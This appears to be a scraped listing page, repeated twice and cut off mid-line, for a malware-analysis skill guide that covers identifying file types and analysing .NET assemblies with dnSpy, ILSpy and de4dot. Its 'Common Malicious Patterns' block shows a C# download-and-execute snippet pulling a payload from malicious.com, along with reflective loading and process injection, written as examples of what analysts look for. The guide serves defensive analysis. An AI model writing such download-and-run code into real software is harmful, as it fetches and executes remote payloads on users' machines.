specialized-file-analyzer

Name: specialized-file-analyzer
Author: gl0bal01

43stars3forks

How to install specialized-file-analyzer?

gl0bal01/malware-analysis-claude-skills/specialized-file-analyzer

$npx -y skills add gl0bal01/malware-analysis-claude-skills --skill specialized-file-analyzer

Installs into the current project.

Summary

Analyze specialized file types beyond standard PE executables - .NET assemblies, Office macros, PDFs, PowerShell scripts, JavaScript, archives, HTA files, disk images (ISO/IMG/VHD/VHDX), and Linux ELF binaries. Use when you encounter documents, scripts, disk images, or non-Window

Files · 1

View on GitHub

SKILL.md

1	# Specialized File Analyzer
2
3	Expert analysis of non-PE file formats commonly used in malware campaigns: .NET, Office documents, PDFs, scripts, HTA files, disk images, archives, and Linux binaries.
4
5	## When to Use This Skill
6
7	Use this skill when analyzing:
8	- .NET/C# assemblies (.exe, .dll with .NET framework)
9	- Office documents with macros (.docm, .xlsm, .doc, .xls)
10	- PDF files (suspicious attachments, exploit documents)
11	- Scripts (PowerShell .ps1, VBScript .vbs, JavaScript .js)
12	- HTA files (.hta — HTML Applications executed by mshta.exe)
13	- Disk images (.iso, .img, .vhd, .vhdx — container formats that bypass MOTW)
14	- Archives (.zip, .rar, .7z, .tar.gz)
15	- Shortcuts (.lnk files)
16	- Linux binaries (ELF executables)
17	- Batch files (.bat, .cmd)
18
19	Key indicator: `file` command shows non-PE32 executable or document type.
20
21	## Quick File Type Identification
22
23	```bash
24	# Identify file type
25	file sample.bin
26
27	# Common outputs:
28	# "PE32+ console executable, for MS Windows" → Standard PE (use malware-triage)
29	# "PE32 executable (GUI) Intel 80386 Mono/.Net assembly" → .NET (use this skill)
30	# "Microsoft Office Document" → Office macro (use this skill)
31	# "PDF document, version 1.7" → PDF (use this skill)
32	# "HTML document text" → Check extension; if .hta → HTA (use this skill)
33	# "ISO 9660 CD-ROM filesystem data" → ISO image (use this skill)
34	# "DOS/MBR boot sector" → IMG disk image (use this skill)
35	# "Microsoft Disk Image" → VHD/VHDX (use this skill)
36	# "Zip archive data" → Archive (use this skill)
37	# "ELF 64-bit LSB executable" → Linux binary (use this skill)
38	# "ASCII text, with CRLF line terminators" → Script (use this skill)
39	```
40
41	---
42
43	## .NET / C# Assembly Analysis
44
45	### Detection
46	```bash
47	# Check for .NET assembly
48	file sample.exe \| grep "Mono/.Net assembly"
49
50	# Or check strings
51	strings sample.exe \| grep "mscoree.dll"
52
53	# Check PE header
54	pe-parser sample.exe \| grep "CLR Runtime"
55	```
56
57	### Tool: dnSpy (Windows - Primary Tool)
58
59	Download: https://github.com/dnSpy/dnSpy
60
61	Workflow:
62	1. Open sample.exe in dnSpy
63	2. Navigate: Assembly Explorer → sample.exe → Namespace → Classes
64	3. Find entry point: Right-click assembly → Go to Entry Point
65
66	What to Look For:
67
68	Main() Function:
69	```csharp
70	// Entry point - start here
71	public static void Main(string[] args)
72	{
73	// Analyze execution flow
74	}
75	```
76
77	Suspicious Namespaces:
78	- `System.Net` - Network operations (WebClient, HttpClient)
79	- `System.Security.Cryptography` - Encryption/decryption
80	- `System.Reflection` - Dynamic code loading
81	- `System.Diagnostics.Process` - Process execution
82	- `System.IO` - File operations
83	- `Microsoft.Win32` - Registry access
84
85	Common Malicious Patterns:
86	```csharp
87	// Download and execute
88	WebClient wc = new WebClient();
89	wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe");
90	Process.Start("C:\\temp\\payload.exe");
91
92	// Base64 decode embedded payload
93	byte[] decoded = Convert.FromBase64String(encodedPayload);
94
95	// Reflective loading
96	Assembly.Load(byte[] rawAssembly);
97
98	// Process injection
99	WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, out lpNumberOfBytesWritten);
100	```
101
102	Extract Embedded Resources:
103	```
104	Assembly Explorer → Right-click assembly → Resources
105	Look for:
106	- Embedded executables (byte arrays)
107	- Encrypted payloads
108	- Configuration data
109	- Icons (may hide data)
110
111	Right-click resource → Save
112	```
113
114	Deobfuscation:
115	```bash
116	# Using de4dot (automated deobfuscator)
117	de4dot sample.exe -o sample_deobfuscated.exe
118
119	# Handles common obfuscators:
120	# - ConfuserEx
121	# - .NET Reactor
122	# - Eazfuscator
123	# - Agile.NET
124	```
125
126	Dynamic Debugging:
127	```
128	dnSpy: Debug → Start Debugging (F5)
129	Set breakpoints on suspicious functions
130	Step through execution (F10/F11)
131	Watch variables and decrypted strings
132	```
133
134	### Tool: ILSpy (Cross-platform Alternative)
135
136	```bash
137	# Command-line decompilation
138	ilspycmd sample.exe -o output_directory/
139
140	# GUI version (Windows/Linux/Mac)
141	ilspy sample.exe
142	```
143
144	Export decompiled code:
145	```
146	File → Save Code → C# Project
147	```
148
149	### Analysis Checklist - .NET
150
151	- [ ] Entry point identified (Main function)
152	- [ ] Obfuscation detected and removed (if needed)
153	- [ ] Embedded resources extracted
154	- [ ] Network URLs/IPs extracted
155	- [ ] Crypto keys identified
156	- [ ] Anti-analysis checks found
157	- [ ] Payload execution method documented
158	- [ ] IOCs extracted (URLs, IPs, file paths)
159
160	---
161
162	## Office Document / Macro Analysis
163
164	### Detection
165	```bash
166	# Macro-enabled formats
167	# .docm, .xlsm, .pptm → Office 2007+ with macros
168	# .doc, .xls, .ppt → Legacy Office (97-2003) with macros
169
170	file document.docm
171	# Output: "Micros

People who liked this also viewed

6 picks

Type

specialized-file-analyzer

43stars3forks

View on GitHub

How to install specialized-file-analyzer?

gl0bal01/malware-analysis-claude-skills/specialized-file-analyzer

$npx -y skills add gl0bal01/malware-analysis-claude-skills --skill specialized-file-analyzer

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Specialized File Analyzer
2
3	Expert analysis of non-PE file formats commonly used in malware campaigns: .NET, Office documents, PDFs, scripts, HTA files, disk images, archives, and Linux binaries.
4
5	## When to Use This Skill
6
7	Use this skill when analyzing:
8	- .NET/C# assemblies (.exe, .dll with .NET framework)
9	- Office documents with macros (.docm, .xlsm, .doc, .xls)
10	- PDF files (suspicious attachments, exploit documents)
11	- Scripts (PowerShell .ps1, VBScript .vbs, JavaScript .js)
12	- HTA files (.hta — HTML Applications executed by mshta.exe)
13	- Disk images (.iso, .img, .vhd, .vhdx — container formats that bypass MOTW)
14	- Archives (.zip, .rar, .7z, .tar.gz)
15	- Shortcuts (.lnk files)
16	- Linux binaries (ELF executables)
17	- Batch files (.bat, .cmd)
18
19	Key indicator: `file` command shows non-PE32 executable or document type.
20
21	## Quick File Type Identification
22
23	```bash
24	# Identify file type
25	file sample.bin
26
27	# Common outputs:
28	# "PE32+ console executable, for MS Windows" → Standard PE (use malware-triage)
29	# "PE32 executable (GUI) Intel 80386 Mono/.Net assembly" → .NET (use this skill)
30	# "Microsoft Office Document" → Office macro (use this skill)
31	# "PDF document, version 1.7" → PDF (use this skill)
32	# "HTML document text" → Check extension; if .hta → HTA (use this skill)
33	# "ISO 9660 CD-ROM filesystem data" → ISO image (use this skill)
34	# "DOS/MBR boot sector" → IMG disk image (use this skill)
35	# "Microsoft Disk Image" → VHD/VHDX (use this skill)
36	# "Zip archive data" → Archive (use this skill)
37	# "ELF 64-bit LSB executable" → Linux binary (use this skill)
38	# "ASCII text, with CRLF line terminators" → Script (use this skill)
39	```
40
41	---
42
43	## .NET / C# Assembly Analysis
44
45	### Detection
46	```bash
47	# Check for .NET assembly
48	file sample.exe \| grep "Mono/.Net assembly"
49
50	# Or check strings
51	strings sample.exe \| grep "mscoree.dll"
52
53	# Check PE header
54	pe-parser sample.exe \| grep "CLR Runtime"
55	```
56
57	### Tool: dnSpy (Windows - Primary Tool)
58
59	Download: https://github.com/dnSpy/dnSpy
60
61	Workflow:
62	1. Open sample.exe in dnSpy
63	2. Navigate: Assembly Explorer → sample.exe → Namespace → Classes
64	3. Find entry point: Right-click assembly → Go to Entry Point
65
66	What to Look For:
67
68	Main() Function:
69	```csharp
70	// Entry point - start here
71	public static void Main(string[] args)
72	{
73	// Analyze execution flow
74	}
75	```
76
77	Suspicious Namespaces:
78	- `System.Net` - Network operations (WebClient, HttpClient)
79	- `System.Security.Cryptography` - Encryption/decryption
80	- `System.Reflection` - Dynamic code loading
81	- `System.Diagnostics.Process` - Process execution
82	- `System.IO` - File operations
83	- `Microsoft.Win32` - Registry access
84
85	Common Malicious Patterns:
86	```csharp
87	// Download and execute
88	WebClient wc = new WebClient();
89	wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe");
90	Process.Start("C:\\temp\\payload.exe");
91
92	// Base64 decode embedded payload
93	byte[] decoded = Convert.FromBase64String(encodedPayload);
94
95	// Reflective loading
96	Assembly.Load(byte[] rawAssembly);
97
98	// Process injection
99	WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, out lpNumberOfBytesWritten);
100	```
101
102	Extract Embedded Resources:
103	```
104	Assembly Explorer → Right-click assembly → Resources
105	Look for:
106	- Embedded executables (byte arrays)
107	- Encrypted payloads
108	- Configuration data
109	- Icons (may hide data)
110
111	Right-click resource → Save
112	```
113
114	Deobfuscation:
115	```bash
116	# Using de4dot (automated deobfuscator)
117	de4dot sample.exe -o sample_deobfuscated.exe
118
119	# Handles common obfuscators:
120	# - ConfuserEx
121	# - .NET Reactor
122	# - Eazfuscator
123	# - Agile.NET
124	```
125
126	Dynamic Debugging:
127	```
128	dnSpy: Debug → Start Debugging (F5)
129	Set breakpoints on suspicious functions
130	Step through execution (F10/F11)
131	Watch variables and decrypted strings
132	```
133
134	### Tool: ILSpy (Cross-platform Alternative)
135
136	```bash
137	# Command-line decompilation
138	ilspycmd sample.exe -o output_directory/
139
140	# GUI version (Windows/Linux/Mac)
141	ilspy sample.exe
142	```
143
144	Export decompiled code:
145	```
146	File → Save Code → C# Project
147	```
148
149	### Analysis Checklist - .NET
150
151	- [ ] Entry point identified (Main function)
152	- [ ] Obfuscation detected and removed (if needed)
153	- [ ] Embedded resources extracted
154	- [ ] Network URLs/IPs extracted
155	- [ ] Crypto keys identified
156	- [ ] Anti-analysis checks found
157	- [ ] Payload execution method documented
158	- [ ] IOCs extracted (URLs, IPs, file paths)
159
160	---
161
162	## Office Document / Macro Analysis
163
164	### Detection
165	```bash
166	# Macro-enabled formats
167	# .docm, .xlsm, .pptm → Office 2007+ with macros
168	# .doc, .xls, .ppt → Legacy Office (97-2003) with macros
169
170	file document.docm
171	# Output: "Micros

People who liked this also viewed

6 picks

Type